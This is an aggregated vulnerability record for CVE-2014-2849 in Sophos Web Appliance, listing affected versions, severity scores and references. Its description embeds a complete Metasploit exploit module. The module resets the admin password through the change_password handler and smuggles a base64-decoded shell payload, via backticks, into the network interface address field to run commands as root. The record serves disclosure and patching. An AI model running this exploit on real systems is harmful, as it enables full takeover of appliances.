ID

VAR-201404-0438


CVE

CVE-2014-2849


TITLE

Sophos Web Appliance of Change Password Vulnerability to change admin user password in dialog box

Trust: 0.8

sources: JVNDB: JVNDB-2014-002000

DESCRIPTION

The Change Password dialog box (change_password) in Sophos Web Appliance before 3.8.2 allows remote authenticated users to change the admin user password via a crafted request. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Sophos Web Appliance. Authentication is required to exploit this vulnerability.The specific flaws exist within the change_password and netinterface functions of the web appliance. The first flaw will allow for an unprivileged user to change the admin's password and a remote code execution vulnerability exists when updating the network interface. This allows for an attacker to execute under root privileges. Successfully exploiting these issues will result in the complete compromise of affected computers. The product supports real-time network threat protection, custom web filtering and dynamic control applications, etc. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution', 'Description' => %q{ This module takes advantage of two vulnerabilities in order to gain remote code execution as root as an otherwise non-privileged authorized user. No server-side sanitization is done on values passed when configuring a static network interface. This allows an administrator user to run arbitrary commands in the context of the web application, which is root when configuring the network interface. This module will inadvertently delete any other users that may have been present as a side effect of changing the admin's password. }, 'Author' => [ 'Brandon Perry <bperry.volatile@gmail.com>' # discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Space' => 500, 'DisableNops' => true, 'BadChars' => "", #base64 encryption ftw! 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet' } }, 'Targets' => [ [ 'Sophos Web Protection Appliance 3.8.1.1', { }] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 8 2014' )) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]), OptString.new('TARGETURI', [true, 'The target URI', '/']), Opt::RPORT(443) ], self.class ) end def exploit init = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') }) if !init or !init.body fail_with("Could not connect to host") end print_status("Getting STYLE key...") style = '' init.body.each_line do |line| next if line !~ /name="STYLE" value="(.*)"/ style = $1 end if style == '' fail_with("Could not find style key.") end post = { 'STYLE' => style, 'destination' => '', 'section' => '', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } print_status("Authenticating as " + datastore['USERNAME']) login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php?c=login'), 'method' => 'POST', 'vars_post' => post }) if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/ fail_with("Authentication failed") end #I don't know what salt is being used to hash these #passwords (probably in js somewhere), so I have #to use a static one that I saw being POSTed while #exploring, it is 'notpassword'. # #This will actually delete every other user that exists #except for admin, whose password will be changed # #whoops admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"' admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default ' admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"' admin_hash << ': [], "user_id": 0}]' post = { 'action' => 'save', 'STYLE' => style, 'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])), 'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])), 'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])), 'admins' => admin_hash } print_status("Changing old password hash to notpassword") passchange = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'), 'method' => 'POST', 'vars_post' => post }) if !passchange or passchange.code != 200 fail_with("Couldn't update admin's password") end print_status("Logging in as the admin now") init = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') }) if !init or init.code != 200 fail_with("Couldn't reget index page for admin auth") end init.body.each_line do |line| next if line !~ /name="STYLE" value="(.*)"/ style = $1 end post = { 'STYLE' => style, 'destination' => '', 'section' => '', 'username' => 'admin', 'password' => 'notpassword' } login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php?c=login'), 'method' => 'POST', 'vars_post' => post }) if !login or login.code != 200 or login.body !~ /admin<\/a>/ fail_with("Couldn't login as admin") end pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded)) post = { 'STYLE' => style, 'dhcp' => 'no', 'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16", 'gateway' => '192.168.1.254', 'sb_bridge' => 'explicit', 'netmask' => '255.255.255.0', 'sb_linktype' => 'auto', 'dns' => 'yes', 'dns1' => '192.168.1.254', 'dns2' => '', 'dns3' => '' } print_status("Sending payload") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'), 'method' => 'POST', 'vars_post' => post, }) end end

Trust: 2.7

sources: NVD: CVE-2014-2849 // JVNDB: JVNDB-2014-002000 // ZDI: ZDI-14-069 // BID: 66734 // VULHUB: VHN-70788 // PACKETSTORM: 126099

AFFECTED PRODUCTS

vendor:sophosmodel:web appliancescope:eqversion:3.4.5

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.4.8

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.4.7

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.5.1.1

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.5.3

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.4.6

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.5.0

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.5.1

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.5.2

Trust: 1.6

vendor:sophosmodel:web appliancescope:eqversion:3.5.1.2

Trust: 1.6

vendor:sophosmodel:web appliancescope: - version: -

Trust: 1.5

vendor:sophosmodel:web appliancescope:eqversion:3.4.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.1.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.8.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.9.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.6

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.4.3.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.1.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.5

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.2.4.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.5

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.5.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.5.6

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.2.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.1.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.6

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.3.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.4.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.2.4.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.8.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.4.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion: -

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.7

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.6.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.9

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.1.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.5

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.4.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.2.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.8

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.5.5

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.8.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.6

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.1.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.1.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.5

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.2.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.5.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.5.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.1.0.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.1.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.8.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.0.4

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.7.7

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.4.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.4.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.4.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.2

Trust: 1.0

vendor:sophosmodel:web appliancescope:lteversion:3.8.1.1

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.3.0

Trust: 1.0

vendor:sophosmodel:web appliancescope:eqversion:3.6.2.3

Trust: 1.0

vendor:sophosmodel:web appliancescope:ltversion:3.8.2

Trust: 0.8

vendor:sophosmodel:web appliancescope:eqversion:3.0

Trust: 0.3

sources: ZDI: ZDI-14-069 // BID: 66734 // JVNDB: JVNDB-2014-002000 // CNNVD: CNNVD-201404-157 // NVD: CVE-2014-2849

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-2849
value: HIGH

Trust: 1.0

NVD: CVE-2014-2849
value: HIGH

Trust: 0.8

ZDI: CVE-2014-2849
value: HIGH

Trust: 0.7

CNNVD: CNNVD-201404-157
value: HIGH

Trust: 0.6

VULHUB: VHN-70788
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2014-2849
severity: HIGH
baseScore: 8.5
vectorString: AV:N/AC:L/AU:S/C:N/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: NONE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 9.2
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

ZDI: CVE-2014-2849
severity: HIGH
baseScore: 8.5
vectorString: AV:N/AC:M/AU:S/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: SINGLE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 6.8
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.7

VULHUB: VHN-70788
severity: HIGH
baseScore: 8.5
vectorString: AV:N/AC:L/AU:S/C:N/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: NONE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 8.0
impactScore: 9.2
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: ZDI: ZDI-14-069 // VULHUB: VHN-70788 // JVNDB: JVNDB-2014-002000 // CNNVD: CNNVD-201404-157 // NVD: CVE-2014-2849

PROBLEMTYPE DATA

problemtype:CWE-264

Trust: 1.9

sources: VULHUB: VHN-70788 // JVNDB: JVNDB-2014-002000 // NVD: CVE-2014-2849

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 126099 // CNNVD: CNNVD-201404-157

TYPE

permissions and access control

Trust: 0.6

sources: CNNVD: CNNVD-201404-157

CONFIGURATIONS

sources: JVNDB: JVNDB-2014-002000

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-70788

PATCH

title:120230url:http://www.sophos.com/en-us/support/knowledgebase/120230.aspx

Trust: 1.5

sources: ZDI: ZDI-14-069 // JVNDB: JVNDB-2014-002000

EXTERNAL IDS

db:NVDid:CVE-2014-2849

Trust: 3.5

db:ZDIid:ZDI-14-069

Trust: 2.5

db:BIDid:66734

Trust: 2.0

db:EXPLOIT-DBid:32789

Trust: 1.7

db:SECUNIAid:57706

Trust: 1.7

db:JVNDBid:JVNDB-2014-002000

Trust: 0.8

db:ZDI_CANid:ZDI-CAN-2026

Trust: 0.7

db:CNNVDid:CNNVD-201404-157

Trust: 0.7

db:VULHUBid:VHN-70788

Trust: 0.1

db:PACKETSTORMid:126099

Trust: 0.1

sources: ZDI: ZDI-14-069 // VULHUB: VHN-70788 // BID: 66734 // JVNDB: JVNDB-2014-002000 // PACKETSTORM: 126099 // CNNVD: CNNVD-201404-157 // NVD: CVE-2014-2849

REFERENCES

url:http://www.sophos.com/en-us/support/knowledgebase/120230.aspx

Trust: 2.4

url:http://www.securityfocus.com/bid/66734

Trust: 1.7

url:http://www.exploit-db.com/exploits/32789

Trust: 1.7

url:http://www.zerodayinitiative.com/advisories/zdi-14-069/

Trust: 1.7

url:http://secunia.com/advisories/57706

Trust: 1.7

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-2849

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-2849

Trust: 0.8

url:http://www.zerodayinitiative.com/advisories/zdi-14-069/']

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

sources: ZDI: ZDI-14-069 // VULHUB: VHN-70788 // JVNDB: JVNDB-2014-002000 // PACKETSTORM: 126099 // CNNVD: CNNVD-201404-157 // NVD: CVE-2014-2849

CREDITS

Brandon Perry

Trust: 1.1

sources: ZDI: ZDI-14-069 // BID: 66734 // PACKETSTORM: 126099

SOURCES

db:ZDIid:ZDI-14-069
db:VULHUBid:VHN-70788
db:BIDid:66734
db:JVNDBid:JVNDB-2014-002000
db:PACKETSTORMid:126099
db:CNNVDid:CNNVD-201404-157
db:NVDid:CVE-2014-2849

LAST UPDATE DATE

2025-04-13T23:14:51.407000+00:00


SOURCES UPDATE DATE

db:ZDIid:ZDI-14-069date:2014-04-08T00:00:00
db:VULHUBid:VHN-70788date:2014-04-14T00:00:00
db:BIDid:66734date:2014-04-17T01:09:00
db:JVNDBid:JVNDB-2014-002000date:2014-04-16T00:00:00
db:CNNVDid:CNNVD-201404-157date:2014-04-15T00:00:00
db:NVDid:CVE-2014-2849date:2025-04-12T10:46:40.837

SOURCES RELEASE DATE

db:ZDIid:ZDI-14-069date:2014-04-08T00:00:00
db:VULHUBid:VHN-70788date:2014-04-11T00:00:00
db:BIDid:66734date:2014-04-08T00:00:00
db:JVNDBid:JVNDB-2014-002000date:2014-04-16T00:00:00
db:PACKETSTORMid:126099date:2014-04-09T23:53:40
db:CNNVDid:CNNVD-201404-157date:2014-04-15T00:00:00
db:NVDid:CVE-2014-2849date:2014-04-11T15:55:27.660